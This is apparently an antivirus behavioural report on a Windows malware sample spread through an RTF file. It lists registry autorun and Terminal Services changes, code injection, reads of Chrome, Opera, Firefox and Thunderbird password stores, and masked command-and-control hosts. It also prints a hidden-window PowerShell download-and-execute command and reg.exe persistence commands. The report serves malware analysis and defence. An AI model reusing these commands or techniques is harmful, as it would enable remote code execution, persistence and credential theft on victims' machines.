Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%ALLUSERSPROFILE%\images.exe'
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\TermService\Parameters] 'ServiceDll' = '%ProgramFiles%\Microsoft DN1\sqlmap.dll'
Creates the following services
- 'umbus' system32\DRIVERS\umbus.sys
Malicious functions
Downloads and executes
- http://hu####it.ydns.eu/microf.exe as %appdata%\microf.exe
Injects code into
the following system processes:
- %WINDIR%\syswow64\cmd.exe
the following user processes:
- b.cvdtjfe.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\svchost.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
- %APPDATA%\mozilla\firefox\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgdghghœ.sct
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\h..pxk..tmp
- %APPDATA%\jtgf.kc.tmp
- %APPDATA%\cfzfojj.tmp
- %APPDATA%\chckiht.tmp
- %TEMP%\b.cvdtjfe.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- <SYSTEM32>\microsoft\protect\s-1-5-20\03a9c98d-83af-43ae-a1de-62dab75c6618
- %ProgramFiles%\microsoft dn1\rdpwrap.ini
- <SYSTEM32>\rfxvmt.dll
- %ProgramFiles%\microsoft dn1\sqlmap.dll
- %APPDATA%\b.cvdtjfe.exe
- %TEMP%\images.exe
- <Current directory>\~wrd0000.tmp
- %ALLUSERSPROFILE%\images.exe
- %TEMP%\microf.exe
- %APPDATA%\microf.exe
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Sets the 'hidden' attribute to the following files
- %TEMP%\b.cvdtjfe.exe
Deletes the following files
- %TEMP%\abdtfhghgdghghœ.sct
- %APPDATA%\chckiht.tmp
- %APPDATA%\cfzfojj.tmp
- %APPDATA%\jtgf.kc.tmp
- %APPDATA%\h..pxk..tmp
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- 'hu####it.ydns.eu':80
- 'sd#####fssffs.ydns.eu':6703
- 'sd#####fssffs.ydns.eu':80
- 'ch####p.dyndns.org':80
- 'fr###eoip.app':443
TCP
HTTP GET requests
- http://hu####it.ydns.eu/microC.exe
- http://ch####p.dyndns.org/
Other
- 'hu####it.ydns.eu':6703
- 'fr###eoip.app':443
UDP
- DNS ASK hu####it.ydns.eu
- DNS ASK sd#####fssffs.ydns.eu
Miscellaneous
Creates and executes the following
- '%APPDATA%\microf.exe'
- '%TEMP%\microf.exe'
- '%ALLUSERSPROFILE%\images.exe'
- '%TEMP%\images.exe'
- '%APPDATA%\b.cvdtjfe.exe'
- '%TEMP%\b.cvdtjfe.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://hu####it.ydns.eu/microF.exe','%APPDATA%\microF.exe');Start-Process '%A...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\images.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\images.exe"
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "%ALLUSERSPROFILE%\images.exe"
- '%WINDIR%\syswow64\cmd.exe'
